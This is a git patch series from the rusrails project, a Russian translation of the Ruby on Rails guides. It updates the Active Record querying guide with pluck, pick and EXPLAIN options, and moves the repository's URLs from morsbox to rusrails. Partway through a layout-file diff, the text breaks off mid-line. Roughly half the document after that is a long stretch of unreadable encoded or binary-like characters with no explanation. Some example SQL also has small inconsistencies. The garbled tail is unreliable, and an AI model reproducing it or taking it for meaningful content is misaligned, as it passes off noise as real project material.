+ActiveRecord::RecordInvalid: Validation failed: Orders count can’t be blank ``` [`find_or_create_by!`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_create_by-21 @@ -2004,7 +2093,7 @@ irb> Customer.connection.select_all("SELECT first_name, created_at FROM customer ### `pluck` -[`pluck`][] может быть использован для запроса с одним или несколькими столбцами из таблицы, лежащей в основе модели. Он принимает список имен столбцов как аргумент и возвращает массив значений определенных столбцов соответствующего типа данных. +[`pluck`][] может быть использован для подбора значения(-ий) из названного столбца(-ов) в текущем relation. Он принимает список имен столбцов как аргумент и возвращает массив значений определенных столбцов соответствующего типа данных. ```irb irb> Book.where(out_of_print: true).pluck(:id) @@ -2088,6 +2177,24 @@ irb> assoc.unscope(:includes).pluck(:id) [`pluck`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-pluck +### `pick` + +[`pick`][] может быть использован для подбора значения(-ий) из названного столбца(-ов) в текущем relation. Он принимает список имен столбцов как аргумент и возвращает первый ряд значений указанного столбца с соответствующим типом данных. `pick` это сокращение для `relation.limit(1).pluck(*column_names).first`, которой, в основном, полезно, когда у вас уже имеется relation, ограниченное одним рядом. + +`pick` позволяет заменить код, такой как: + +```ruby +Customer.where(id: 1).pluck(:id).first +``` + +на: + +```ruby +Customer.where(id: 1).pick(:id) +``` + +[`pick`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-pick + ### `ids` [`ids`][] может быть использован для сбора всех ID для relation, используя первичный ключ таблицы. @@ -2122,7 +2229,7 @@ Customer.exists?(1) Метод `exists?` также принимает несколько значений, при этом возвращает `true`, если хотя бы одна из этих записей существует. ```ruby -Customer.exists?(id: [1,2,3]) +Customer.exists?(id: [1, 2, 3]) # или Customer.exists?(first_name: ['Jane', 'Sergei']) ``` @@ -2146,15 +2253,15 @@ Customer.exists? ```ruby # на модели Order.any? -# => SELECT 1 FROM orders LIMIT 1 +# SELECT 1 FROM orders LIMIT 1 Order.many? -# => SELECT COUNT(*) FROM (SELECT 1 FROM orders LIMIT 2) +# SELECT COUNT(*) FROM (SELECT 1 FROM orders LIMIT 2) # на именованном скоупе Order.shipped.any? -# => SELECT 1 FROM orders WHERE orders.status = 0 LIMIT 1 +# SELECT 1 FROM orders WHERE orders.status = 0 LIMIT 1 Order.shipped.many? -# => SELECT COUNT(*) FROM (SELECT 1 FROM orders WHERE orders.status = 0 LIMIT 2) +# SELECT COUNT(*) FROM (SELECT 1 FROM orders WHERE orders.status = 0 LIMIT 2) # на relation Book.where(out_of_print: true).any? @@ -2202,13 +2309,13 @@ SELECT COUNT(DISTINCT customers.id) FROM customers при условии что в Order есть `enum status: [ :shipped, :being_packed, :cancelled ]` -### Количество +### `count` Если хотите увидеть, сколько записей есть в таблице модели, можете вызвать `Customer.count`, и он возвратит число. Если хотите быть более определенным и найти всех покупателей с присутствующим в базе данных титулом, используйте `Customer.count(:title)`. Про опции смотрите выше в разделе [Вычисления](#calculations). -### Среднее +### `average` Если хотите увидеть среднее значение определенного показателя в одной из ваших таблиц, можно вызвать метод [`average`][] для класса, относящегося к таблице. Вызов этого метода выглядит так: @@ -2222,7 +2329,7 @@ Order.average("subtotal") [`average`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-average -### Минимум +### `minimum` Если хотите найти минимальное значение поля в таблице, можете вызвать метод [`minimum`][] для класса, относящегося к таблице. Вызов этого метода выглядит так: @@ -2234,7 +2341,7 @@ Order.minimum("subtotal") [`minimum`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-minimum -### Максимум +### `maximum` Если хотите найти максимальное значение поля в таблице, можете вызвать метод [`maximum`][] для класса, относящегося к таблице. Вызов этого метода выглядит так: @@ -2246,7 +2353,7 @@ Order.maximum("subtotal") [`maximum`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-maximum -### Сумма +### `sum` Если хотите найти сумму полей для всех записей в таблице, можете вызвать метод [`sum`][] для класса, относящегося к таблице. Вызов этого метода выглядит так: @@ -2272,7 +2379,7 @@ Customer.where(id: 1).joins(:orders).explain может выдать ```sql -EXPLAIN for: SELECT `customers`.* FROM `customers` INNER JOIN `orders` ON `orders`.`customer_id` = `customers`.`id` WHERE `customers`.`id` = 1 +EXPLAIN SELECT `customers`.* FROM `customers` INNER JOIN `orders` ON `orders`.`customer_id` = `customers`.`id` WHERE `customers`.`id` = 1 +----+-------------+------------+-------+---------------+ | id | select_type | table | type | possible_keys | +----+-------------+------------+-------+---------------+ @@ -2294,7 +2401,7 @@ EXPLAIN for: SELECT `customers`.* FROM `customers` INNER JOIN `orders` ON `order Active Record применяет красивое форматирование, эмулирующее работу соответствующей оболочки базы данных. Таким образом, запуск того же запроса с адаптером PostgreSQL выдаст вместо этого ``` -EXPLAIN for: SELECT "customers".* FROM "customers" INNER JOIN "orders" ON "orders"."customer_id" = "customers"."id" WHERE "customers"."id" = $1 [["id", 1]] +EXPLAIN SELECT "customers".* FROM "customers" INNER JOIN "orders" ON "orders"."customer_id" = "customers"."id" WHERE "customers"."id" = $1 [["id", 1]] QUERY PLAN ------------------------------------------------------------------------------ Nested Loop (cost=4.33..20.85 rows=4 width=164) @@ -2316,7 +2423,7 @@ Customer.where(id: 1).includes(:orders).explain может выдать это для MySQL и MariaDB: ``` -EXPLAIN for: SELECT `customers`.* FROM `customers` WHERE `customers`.`id` = 1 +EXPLAIN SELECT `customers`.* FROM `customers` WHERE `customers`.`id` = 1 +----+-------------+-----------+-------+---------------+ | id | select_type | table | type | possible_keys | +----+-------------+-----------+-------+---------------+ @@ -2330,7 +2437,7 @@ EXPLAIN for: SELECT `customers`.* FROM `customers` WHERE `customers`.`id` = 1 1 row in set (0.00 sec) -EXPLAIN for: SELECT `orders`.* FROM `orders` WHERE `orders`.`customer_id` IN (1) +EXPLAIN SELECT `orders`.* FROM `orders` WHERE `orders`.`customer_id` IN (1) +----+-------------+--------+------+---------------+ | id | select_type | table | type | possible_keys | +----+-------------+--------+------+---------------+ @@ -2351,7 +2458,7 @@ EXPLAIN for: SELECT `orders`.* FROM `orders` WHERE `orders`.`customer_id` IN (1 ``` Customer Load (0.3ms) SELECT "customers".* FROM "customers" WHERE "customers"."id" = $1 [["id", 1]] Order Load (0.3ms) SELECT "orders".* FROM "orders" WHERE "orders"."customer_id" = $1 [["customer_id", 1]] -=> EXPLAIN for: SELECT "customers".* FROM "customers" WHERE "customers"."id" = $1 [["id", 1]] +=> EXPLAIN SELECT "customers".* FROM "customers" WHERE "customers"."id" = $1 [["id", 1]] QUERY PLAN ---------------------------------------------------------------------------------- Index Scan using customers_pkey on customers (cost=0.15..8.17 rows=1 width=164) @@ -2361,6 +2468,61 @@ EXPLAIN for: SELECT `orders`.* FROM `orders` WHERE `orders`.`customer_id` IN (1 [`explain`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-explain +### Опции Explain + +Для баз данных и адаптеров, поддерживающих их (в настоящее время PostgreSQL и MySQL), можно передать опции, чтобы предоставить углубленный анализ. + +Для PostgreSQL, следующее: + +```ruby +Customer.where(id: 1).joins(:orders).explain(:analyze, :verbose) +``` + +выдаст: + +```sql +EXPLAIN (ANALYZE, VERBOSE) SELECT "shop_accounts".* FROM "shop_accounts" INNER JOIN "customers" ON "customers"."id" = "shop_accounts"."customer_id" WHERE "shop_accounts"."id" = $1 [["id", 1]] + QUERY PLAN +------------------------------------------------------------------------------------------------------------------------------------------------ + Nested Loop (cost=0.30..16.37 rows=1 width=24) (actual time=0.003..0.004 rows=0 loops=1) + Output: shop_accounts.id, shop_accounts.customer_id, shop_accounts.customer_carrier_id + Inner Unique: true + -> Index Scan using shop_accounts_pkey on public.shop_accounts (cost=0.15..8.17 rows=1 width=24) (actual time=0.003..0.003 rows=0 loops=1) + Output: shop_accounts.id, shop_accounts.customer_id, shop_accounts.customer_carrier_id + Index Cond: (shop_accounts.id = '1'::bigint) + -> Index Only Scan using customers_pkey on public.customers (cost=0.15..8.17 rows=1 width=8) (never executed) + Output: customers.id + Index Cond: (customers.id = shop_accounts.customer_id) + Heap Fetches: 0 + Planning Time: 0.063 ms + Execution Time: 0.011 ms +(12 rows) +``` + +Для MySQL или MariaDB, следующее: + +```ruby +Customer.where(id: 1).joins(:orders).explain(:analyze) +``` + +выдаст: + +```sql +ANALYZE SELECT `shop_accounts`.* FROM `shop_accounts` INNER JOIN `customers` ON `customers`.`id` = `shop_accounts`.`customer_id` WHERE `shop_accounts`.id` = 1 ++----+-------------+-------+------+---------------+------+---------+------+------+--------+----------+------------+--------------------------------+ +| id | select_type | table | type | possible_keys | key | key_len | ref | rows | r_rows | filtered | r_filtered | Extra | ++----+-------------+-------+------+---------------+------+---------+------+------+--------+----------+------------+--------------------------------+ +| 1 | SIMPLE | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | no matching row in const table | ++----+-------------+-------+------+---------------+------+---------+------+------+--------+----------+------------+--------------------------------+ +1 row in set (0.00 sec) +``` + +NOTE: Опции EXPLAIN и ANALYZE варьируются для разных версий MySQL и MariaDB. ([MySQL 5.7][MySQL5.7-explain], [MySQL 8.0][MySQL8-explain], [MariaDB][MariaDB-explain]) + +[MySQL5.7-explain]: https://dev.mysql.com/doc/refman/5.7/en/explain.html +[MySQL8-explain]: https://dev.mysql.com/doc/refman/8.0/en/explain.html +[MariaDB-explain]: https://mariadb.com/kb/en/analyze-and-explain-statements/ + ### Интерпретация EXPLAIN Интерпретация результатов EXPLAIN находится за рамками этого руководства. Может быть полезной следующая информация: diff --git a/source/index.yml b/source/index.yml index 3addf592..192d8ce8 100644 --- a/source/index.yml +++ b/source/index.yml @@ -51,8 +51,8 @@ pages: - title: Интерфейс запросов Active Record path: active-record-querying file: active_record_querying.md - revision: d49a3abc019732c35c2f1fdc7687572ddd168dd8 - date: 15/10/2022 + revision: aaf844af7361f4cba29319e2ac7411663e45188c + date: 04/08/2023 - title: Active Record для PostgreSQL path: active-record-postgresql From f7ea8fa3e69b96fac354bcd18e26b7e40bc079f7 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Sun, 20 Aug 2023 00:51:41 +0300 Subject: [PATCH 847/932] transfer repository --- README.md | 10 +++++----- app/views/layouts/application.html.erb | 2 +- config/deploy.rb | 2 +- package.json | 6 +++--- source/4_2_release_notes.md | 6 +++--- source/classic_to_zeitwerk_howto.md | 4 ++-- source/contributing_to_ruby_on_rails.md | 2 +- source/form_helpers.md | 2 +- source/index.md | 12 ++++++------ 9 files changed, 23 insertions(+), 23 deletions(-) diff --git a/README.md b/README.md index 75443bee..70ede5dd 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -[![Gitter](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/morsbox/rusrails?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge) +[![Gitter](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/rusrails/rusrails?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge) Официальный репозиторий проекта [RusRails.ru](http://rusrails.ru) ================================================================= @@ -10,13 +10,13 @@ * Скопировать и установить ``` - $ git clone git://github.com/morsbox/rusrails.git + $ git clone git://github.com/rusrails/rusrails.git $ cd rusrails $ bundle install ``` * Создать конфиг для своих настроек бд (`config/database.yml`) - + * Создать базу данных и загрузить схему базы данных ``` @@ -54,14 +54,14 @@ --------------------------- Для удобного перевода, каждое руководство привязано к определенной ревизии [rails/rails](https://github.com/rails/rails/tree/master/guides/source), -в файле [source/index.yml](https://github.com/morsbox/rusrails/blob/master/source/index.yml). +в файле [source/index.yml](https://github.com/rusrails/rusrails/blob/master/source/index.yml). Таким образом, указывается заголовок на русском, url, имя файла, ревизия и дата коммита. Алгоритм работы: * Делаете форк. [Инструкция по форкам](http://help.github.com/fork-a-repo/) * Выбираете руководство (степень актуальности всех руководств можно оценить с помощью `rails docrails:status`) -* Открываете [issue в rusrails](https://github.com/morsbox/rusrails/issues), с пометкой о руководстве которое хотите обновить/перевести (чтобы этим руководством никто параллельно не занимался) +* Открываете [issue в rusrails](https://github.com/rusrails/rusrails/issues), с пометкой о руководстве которое хотите обновить/перевести (чтобы этим руководством никто параллельно не занимался) * Смотрите, что изменилось - `rails 'docrails:diff[file_name]' > diff.diff` - в файле `diff.diff` * В том же файле смотрите информацию по последней ревизии и ее дате, изменяете эти данные в `source/index.yml` * Вносите в нужных местах исправления по диффу diff --git a/app/views/layouts/application.html.erb b/app/views/layouts/application.html.erb index da2d168c..a255ee36 100644 --- a/app/views/layouts/application.html.erb +++ b/app/views/layouts/application.html.erb @@ -93,7 +93,7 @@

`IK9Rb9(1Kg zag==;6AYXRy+Eg-agp+p^ix^`2tJ=+j=)NLbXEVRb_j#6ps47iNu_459544T^H9wL z(}sCK(~9a_)y&IstN~^2vC)gPl=`ydR?YAU^D*NM=;6Hlh8b5LFbF^<3z!GS zAAcljYZW9geS0$m?LP@glQjJ){0SM|KhhWhkYcO?*17N1#WyjF4Ub21Kaz~F3-L@>@=JtnXU+6 zh&veoIv=g|B+LSLYk;;%f)#zU9)vc<#D#f?<@P4svCJlKOfKaKcty#yh{ALqf0|7-n=;|z@1A5OZ_bqq_)Zde=MHI!tb~{b7iCtZ47adrarzrn zDtpuxiuqKI5MvNE%f;0|k(1+SQqe zuyygbSjt0YZRB5nrxui|YfWl&O~x5FFWr{#VHIN*DVHb?pq%7M{K-M^yqm8zF1OaN z01q23fps*wGHeGac71Oxs_RpJ#_8r}GExpR({j0!T{@6W%79kH$hsI9eNmT zDWbzG!zrZbD6UnP{nW@$ELQhL8eM<}PuCCMeCh6+pwl85ZX@orl2>Os7UA{d@Cd~u z8-+e^l}MMqe9Nsz!<=n-W>}=-lf>^IZdv3!DuL&4%D*T@fpMSbrLhlaV(!^}m0Zke zmC^|Nbr7F*DWNZ*Z+on0IQg2_+7L(CFvd8!tui?~i2(kr!6Fz{k~m@t)jL_ru2ft* z9pC^_&`+-+VKU{@L^w?H7WA|cN!3Yby}@=TG^~{#JT}Dnw2*F-3A=^SJ~&R)70r{` z@gLrTf_K@fxh|y3k z<8|BVoNsQizcZ_t=TNpp<)TKBjyOvHa~n?%f_4vbB8Z92DQk6*VhE{87L3jm-6gvHb5UO>{oTYwjxZ(Q>gm$9a#xX>2Z@kcL`>I!grYv0ue4nIz;*N>_z7T;(1 z^ClO*S`ljza}%Pee30MsEf-a^w)nh3)rinCHa$4$zI~Q5b63T(JT7v4FNW*B5+)-~ z>dmfg#VLjK70N!{&R#{|rQs}N+4-F;s8yaf+E{mNH3dSxy~R zF^AY~L4EqI*2uq;-+gV`eCmUG+>H4Z`AQ=NN?}~2lO@)t7P_kX1O=ufILIF~)UDK1 z<5$EIiqUwQaxSet$IWpY$KOLGrqS{b`$_T!@PKvms!V<*2OT+VO!nnEh^5Rzd~+U$ zi27`%ji9!nU3=QnXg;`b+rLy<#8X=5<@h*5$vi3W&U)T1P*Au=fVa0w$Q;y(lh zYrF*Tn`2VMaE)}jX;)?sZ~{GYXtM%!OqdH)Wzh2WA`xuJg#yxF*VT4!uaP1Ow*3m( znS%<53sOT!bx_otqU=UL&fhdjkIV}f&5Yt9C{P~ewMYAVx%O;_E(Kv8Ls*{f`RLJv z@Z9j4@ltx8COrLokvBg-%jY$#xgqjgL3ng=hrX9hzSkjpVoGT958C+$DI%0B9{lKm z$17W|u&nD4Ju8)ChWPc~a3!R$Xbhb9-Iv|8TpL*;Q>iN__euJ9roS$sv}QY$-Y@zP z{r-$%B)h)!tdVh>_pwjZ1)9aqV5v#q#Ag7zYG?uB8 zb~~8XQeZIo?p~IZxu?DxWxxd+QribgPdLO-_I3@gHnfzUxeX+^WS3ybwU-AvO~eu^ zxlVbX{Gzm3up@S-lod$$@o-IJjfhoKAg4nv0&@q%cSIBv4Dg)ic;Nw{_OIaCay%uL zzBdY4de`qKX2H4?K;<%~_iGe5ES%KO9&s>AwZILFbyWz7lvinjDHbsvG1dqw7rn0L z|8viBExa(pB@ahn{!XWh5Ii^Ge9Q7#aTLc6_yht4jj$hDSJWm8N^HS+EPa^9pbZ+N z9CHVvG_PCd%6v{9-2LK_R!&MK5x=FOa9!}vq3|U!oF}`YmOlh8DiiE~qxItn?vs-{ zIl3-D_eQg>H5&a3i&Ofo<$nm(Y74G?IaGTj6H;>|X~obip`T8~^2idHat@TTI+#e` zb8>7=9aTF*%BT0epyp=h8?%& z6FMjkh3pLhT?vLPY#e(hWS&VtrWFyM1Xl76v-QRN&DilmK&fQtP~p^iJU&KR0U7=b z^li}s3@&IhKvnTkDGk`ACX8)Pv)pGrSBW?D28!7FmWD=W=czk`2Gbtn27MPhryGaN z9p*hA&QN{iOcA%CvIj!!cgwE%rgHsSSO=>@yNrXF_Q)=DUE7A%#=i6@F4X=*__qIl$2$yX1`Q z%WO(PTKKW#F1(@6Nl-@ot~nm*Xk-_NSJIk;yHZ3oO3z2?OEyS7tqo~YT+yFbxp)Hk zOy>&K-&1Kz^3l&uI@dUA=}Hco2%9jDgq9{0(I8Ea1#Cm@*0jmFFcmJ<+^Q&PDsR4X z5TqqayDD?#Sz|v-N?I4sU2-r68|>9ivcvm}@ci#Q2LdYz>V!G#I^R{l);{Z4zzL z!Nm>OMQ8;L^hamwx9f^$N|}`&KKZ~tX3H`qJf5KDkB)Dn)bz=eRTr7|yL)LvSU>a}3OQiE*-hb zJzY5q+s9Uc7%m2`LLd0Bb~x@u9>HXx=`Ry+#$n!&Vb{Is;uq~QfE`zU`ZDJewW*|w z76`GlK5I`=^^ltv*ke4dRH}}hPEh8l@ z5ITf$4aExjhVWgbY{eGiL(+dB zSo&%iqsr~H-@zw-rIh9+s2yHF{4!p_^|N@JzXEp6DC8ZZlen{-v{0Dq7TSG0V;|tz zq8dN(!sULZh2XcvZ^+}2MM(VRG>h?O_>deP_S!h|byISKZY933g(`kOsT3;F33*aa z<8jsJ#Hh>{JdEj9iH^D#3jrOO8K^G8JzI9kG`a6Rihcw=N|rLHgWI>)70vR~!#F?c z6xc~DB`EKDI6ONlR0fo&jgrcNqS&K`OR)8$H#AZ`dbvXfhQdr>h`7I_*!?2!z71QK zv;1KgUvgEG9i4A!lWrm#O01Fexbthy=VxP$3@FA)NWQ5o+M{7=W=tI)FtKn-U*(=6 zpaG!F7^4pwH}gI4Lxht2M%aII@P8E#HGd6*c`?72n<;<5CmN8}@uZTr5z z8pB}TJ!T{N^x#F3ih0PFF+{;+@6DYlM zttb?*H2$CvDMOe)54)>kES>hmTj6I|L((8xK@o;_TyN6HkU z2@eh)j}Yr%pHBX{HOq*THmce>PLcy}Ufu#J?&Wkmxkn`)-s@SOt7J5GbvpL5lgTym z7SfoEleqOVJZOCDMU?(hTZX6vUPzx1@yK3d1(fdhv+t0OR_gG5LjRC)?G)@^qgf6N zS_L7++P$%Osqnk<;jPD0S{Ue1r?SRZAfiVL3`yI7M#4ML=BWKyhR%&`!XGRaTC}vk zc4VGVeezIu?ADCsm^e`30ju7=2zY z7Jp_{Z@0U@5tCH14m4~nFYP71yZ)+LRVV)oWP+EFE_DXmf9rR*+e(=bqUrtV%b6{E z{?f-GckWq8#Zb8nuTEuv`WSASIcZwGwNsR$`f*{GEMrD{`!S>a;NWy@$`ZM9-^n!P8&uD~6YOB(VdE~;W(qI}vvXZtuj_B>9W1F|;KVZlI? z5fGiNh!xsuP-zkQ=UvCQ;wSb-BT=Z>0gndlXKIEWO?9b73OpLPzEGO)Ep|{0Z*;`= za>{8GB{1lkZs?g)X!6v$rI6r%?Mxx#Y6&djfwB>jO`>wR9a=1L6+{`AsV&rl?-+;- zaD|rYxrnnAculahOS{Lt3Uvgh*B^}15kG-y6uM=_vG6^6z5k2)^tpl7x6{S&s_-k- ze%wEACh*s%=dRtFvC5f6)DlYZzcyl&qJUgIez-d@#PLjr`EGkR45LM#9jpZteEi&8 zrEoQ8YlYl?;sQ9CBdHLGKHbui4q$yMJPnT2tKS?sdd&w*Sbv+QS$t{>#^2rK@HJj3R;+b#w!T}?0+I7>-De6v)NCX zqe_!!Vib?+2pI}IiUU@c%tH?EZvthGlZk2-%`@!jRRZ+PAM_*-OoGkJjef*tLTwV+ z#Idk(##E#rQph5`?0510==Df-S=Ah~)1zj~Zgy*o`4S86l0vyN>^%AXQ0 z`fcr?Kg5{r#zrjI$`UJ{Ge|r<{^c>GdS`I)Pi|xc_Wi-C6;;aqaa)$k9GN3x^X?dP zh$e4+e(|daZ6c^$RgG%go}zJ@kj6n|tvN*rL)a|KVFDjzsPEkBZ@s{6>g4=GMTN!( zMz-UU_P>L@sfHQig>xJX)xL%YcpC<6xaeWJiYrocC}))rZ^ey!`8CuA*5fI^%hPEU zyK-!ee$eYTT>$%I-`6Wajpryuy=jj}{vy1CQYgeC?u?hCnSLdD(L{*rE@ORD$6SuHC5RAFT^{l4Q{DM^A{zqeH=?mTdz`jXz)*0+kY<{L;KAKJVn4o=>( ziB7P%#LH%`eO{}4ww+$fKBJWzXZ2yPc)i_bx$?Tz%DxUSrUN!TpPEVfmn{)PK@dcP z`4l5&?=TLf-*&z#I$l2VZMIs~W#{=ge@w-a@S1NkRV^A5{HrsUrjq zKzry-$SH$@45HShaRLe@e5y_I>M(Qfo8#{&!8z%ae`3^bt{H<7fq@8Kb92=CZsV;< zIKXTthjExCZ|@@naUZJ>dWv$}$|x8G0WELsabnFwOC5ovu2`SO<#pc7fw**D%P6`6 z3PTm5DY4hpGtS`$5$O%pAlG#c^*DN&cNVIEGeSX>Sv5c9ji97FPwX07ux+6u?DrxogJPzhwAd{bn1yF7&3x!;Z!tHn}pdCz~s!P-%t79(|h+400v5rTNN(_ zHL9my3Kx~;Pb-#%za;w(EhmP;B$}$$mF&63}1E+O58qR4VoC+boIbxiBk%IIfi-f zg&UR-;RM^WSDrWnTiuvikX5gdjMk;SZ$BlUE_gd()%`?u)76oeP*OnQ6d6)`iSNMb zVGEVhqXi^l>}S%S`CbFl#-W}=KmZ}(b6tvjJcU*V0IW|24O5y*!fG7gTa&s|oe0Cf z9XVGCY9dSN?7Z;4SioJ0JOrsY7htTA z32X=Td!UN9U1`Vr2_hDZoG-Mi@K#KVVsVc;DDcnV5_FZ9%01Xh=ZLj|Q5MJd z?;!vPsUyYv7DxiP4`K~If18+lJ7l3?Wo_O4??*EpV)+8IHN}4@kql_bg6al?LR=vT z0V3fUFATTTxZQ0a+|BeAI z^@-e`8iR2UvBYVbAs`^&sH!OFAs`_6As`@%V<5p_>0@fcLqM>o zS5=TT_>6e8h+2mvi;ptZ^77>BAncMN zAiRP6zvF-JpduiQa{u3PyjDUSVK+GXsQVS^CmI)+a$s4KyJfaKBWcxBYCeiEfC zNRFRhZ6AF4l#SM`dy_=zHM-KFc!Yhup;a<7WWz_3q-^Ja)^+;D&c-0|URO~H=;fs_ zi6DIN>;_tSrVfr-B&)Qa=l`Kq0s}%cE`4N1N=XH0j=f2eI4(?HUjIc~SCW(hri&L? zA3p+m{p9@I8%@Ec;LMR7y)pwXQtVD-gJ>~b?vF}40u(sRg_RjIt|A7eSf7Nl@4jaN zTtT_W!o$aRFQWsAf)`IgmIMojS87ECB^eWY{8<`eKeU(#&p%7p6?ECZ1%n3 zpI$%R|2&jDl?({%>|8s&@y9!BT)04ZoD1zW$1##< zG38`J)|8c%Sy@?a(urvclhYX!$8>Nve-mXVQXUE9@^W*hTSLeCUyBKisu-+e$xsxP;wF@z&lGjHx3Jlbb45JA z((VEUJX~#z|J0G8kDi4><3y^!VA=ifaO6deXO)3364CuQS|Wf@o~ITaY@Ms{=2R5aa{gXy|P}0j<;X>*XQO)+9{U6bP0M9 z=AeKj@bR>ng@vB%#P~RxqHSd9%JQ<9hzLgZ67|@Qd!*dP*;%rrjL<1B56`zmox1$O zI>5g?Ta@l<0K+yblz77ZIeB>{Gk@|+EAcY`rl$Az_g|u-(uTGlA0>viR#$U>B_wp4 zQdY)JlXUad43lJTw>MnJQV+@zPTo%oJmqZMHx5)uug++z^g99}t!oMF$$;gC-gpM2{s^|>t=my?td2_KJ6gVuuqF5}ci#si~=-o}NG;kcWrI;o;%K!$Uw9^D4d!m!0D9u1VCcAe~xkyZG-p2YV?~=gvuTy_6WoPTDjD zD@#lJ7`qw=nLTvDQtVx$M3yWPJcip>o*I;WQ$H5C2L=WTP$cwOaWTH3*dW1$#B|{& z>gF67-M$EvhrtRkjd&0~hVQ25^=miu(I`5LEK!%c_HegxKL$kYo)MKjj*Ty^l;fc4 zHrF&D5F@Q3mxbWU424O(|4PBemM1VhHAv*aP0o3`WG~>yXZKhyavE@xG~%{scbm%==1ji^AGx^G$OA>|h#`ZCif(WS{1ijU2d;hB9FqpYGFUzTmZYnFR&_ zA(YY^pQZBXZA}yV!Qt=nlm%TYlJ}y0*K0@-)H^#qTjhv?2i-%7n{IzuX;0g@FBeV-118Ej9t_UYmQ=YnYc4wZX$l3G2+8=r{DppIlVE5pt`aRywi zm$+Nv2-l@TKx-cXBa64ZJuDRQMsOqQQz1X6Cw~9MN-7eXD}Xs={H97?o*dFr7F{RU z6W{!mb!W`3e(hAdgb4d3neXr@0iYby=xgBrre(pSi-9ljkc&i%uQ;S{E}uV zlV)4s9^MA$!>Ce`(={a^2{8UhwxSfC9wugJ%`Q&We;m*}XPR~-j7s58L?q)trulxOB1SIe?=YTT`+PafTOSxqg2)MmJwrjla09SZXl5H0nkjT&Xq1VG75v)5~g zmjCR{qT#S3`vT6i-0*7e)Q2SZph)u~rO&ghu7{ahRF3SlNy@JN?G_#*=bT4bM{j^X zu1l*9_X&RuaMN6UZRcD!V2bVOv<@EQ!A>hVNQXhH zD^veP54o5QDb-;q>35^4pYI7#&K7^ahh%v5<&V?c-@3ezVn@CVax92*uT`z57!HSe z%a1X;Oxr2Nu`Pq$_bp!LWbPxGAwSakwpPglYYFxfnRRL`XaWf;rz2M= zzH}QHp%&MzouX&(XT`5Hz0J~~gXGt3iOiCHXxaJ9q@2R6!vlG>>O+|{Px4 z!_ejVy5o0u7XX9`!Me)Q0pIT#TMPlBeBXwD>R=cs?Y!g2Xoa1;f0Mrowl#qsdqbeL zZ9AVQ38`?=w@a`5#@t7AzJVB0R5&t*?dls%$KJ$mxUwybsJBSwO>pdFmcD9nhCpw_ zH1;^9BD+5e%h2Pq<70#jx0qGwm8}dO+tr7*Nzx>7L8x4I*-`-uUi6UGDvv~~(qY{i zl-E4$#8?SR$UqMPij=mCAa7_O}=SEXO%}XUJT zv5~>&;o{!Jvm<8Q$8R-M;+l3pX+rY%+Dij}K7KSYZj`R*?&Y0ddtw~LU&T_NHZvZ# zEUq2WjIHc{1y#I3G^E%yVN-s3;6ym-oJ^Y-A(ML9y26eoPEgYA`jA;a_wnlC>HPDn zmW&glL^bwgz$5k&+0P-H1K9K9)x|?nP1Po^zkN630D-~=tpj0%s8#(w$_G0;yWJyl z)Sr!9nLVSPwTo8GCOfd8VGn;N{Ve@r!HT)~T(!BK1<7`BD~~WP-#W)Onu1KvW7O#p zv)za%=`*`~oqLsBD_@HAZ0ErJNTjQ6B=oSlGuMmY_+GzRGU&1SH<%@@5nD-l@MTOf z${qvaj@P8-$amLv+TnlFvbPV?dJ-kJh*bwI8c(4=ck$lwYCM#x^R^pcLzYMGCgt(k z&w8*yQ~OUhYd+1AZkrK3-11>SB}lHuJhq6>!}RBcuVb2)Lc)x?$@TA)f$P{zYT*rp z$H$ix!pN!4wYXuC!eQ?b#|gRVrq#B6FPqE@uko%)z0$BVHjL7Supr+xq};codyZN2 z0t#X%z;XMYQD(jvkl$%Hy10<jkJ!P4;ts)|I!IDRzdG5|llf}tX zz4>ZCvk`g?f^Lwrq+vo#--D8RMBPOF%eq5BbOwCjp zdWDy#DTrUE<_Gy-50@mlH_z>7x{esJSG7#;XQJ}nm%>@JXk%XK5VE+d@;!rIp(nEq z5@MDFt_o2dvOp9@Bbnbejbbx^<^Qfdv$IB-sU&)?`tCVaq$@!xVSW|F8%7{N&vA`6 zbeCKSvdmF5WYYtt;__>=F^C@y_;b(SLYw?4{2R8q)u${n1yiTL%ehx~)mrfC^0X+V z4aEZ+wYv9>&_juVOB{wLyno)?Uks(O3btl&im!A?bv#Dx#?WT7!gInU7=}El7Lr_Q zS}-sj*StIKEOXzM%W<5sEj-egCvcw!E@h2^^?u9dZ#arFy{}0B4W>F8n5934G#Ttl z^E_e{@}k~OufM(8v5l-R`fJffyJnM0av`pOjBK*`C>8JHSy zliMNx%JUW5w_AM==!LHWMe-brWJxoD7sfky3^i>ib}s@784!M2{`Cyq_F}@~TNi}? z+786Ya!FD@@ww&X;#?Z~=teZARn*Ytmg|F` z#Rq^Fuc%5`8}z>cikf?MoggsF&3)`?fmU1li?%K3i-S_9Fyr>C=Wle~9D2zF>>_O$ z$qT9=X4Z?)H2!y}Q*zGTm8gsuq>R&YeR7fsXOwB)hma@htQV8u7JMI;)3r{^7vEVa z{~m4-;Avt?c@P=}7kO2SYjZ~UhWo9wh4Qp_ywS&tNFSodw}@Kf?@w~2NXS3{chhF6XJM?d7UUhMjOP;%Ayv zmdgs=s<2(Q>_NX3Xk}iRzyI|MqL$F_Go3~%60y>SV!}3MAxECV{Au*oh)EYgbv>RQ zb9Y8Y&I#RkdgyvE_<^A@*wH1+M*s%`ZE}XT`$K+%l^_}{tZS)Mxf`nYY*B!Fwzj}W z|M*ovMrV4U!Pxato;Gcx^#JZfm*~p0a;;&xRkLk@-PIz@DeZT#P*e(=imWsmd5G?` znq$%q9kOMAS%Z}nonteSR#Vi-E7IginN;EG>&LZ|UGviGi9;dCvpanhfV%x^e_lLo 